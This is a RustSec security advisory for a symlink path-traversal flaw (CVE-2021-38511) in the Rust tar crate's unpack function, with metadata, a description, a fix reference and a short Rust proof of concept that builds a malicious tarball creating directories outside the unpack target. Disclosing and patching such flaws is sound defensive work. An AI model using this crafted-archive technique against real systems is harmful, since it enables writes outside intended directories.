```toml
[advisory]
id = "RUSTSEC-2021-0080"
package = "tar"
aliases = ["CVE-2021-38511", "GHSA-62jx-8vmh-4mcw"]
cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
date = "2021-07-19"
url = "https://github.com/alexcrichton/tar-rs/issues/238"

[versions]
# none, 0day
patched = [">= 0.4.36"]

[affected]
functions = { "tar::Archive::unpack" = ["< 0.4.36"] }
```

# Links in archive can create arbitrary directories

When unpacking a tarball that contains a symlink the `tar` crate may create
directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are
already created at this point.

```rust
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}
```

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as `tar` 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering
and reporting this, and Nikhil Benesch (@benesch) for the fix!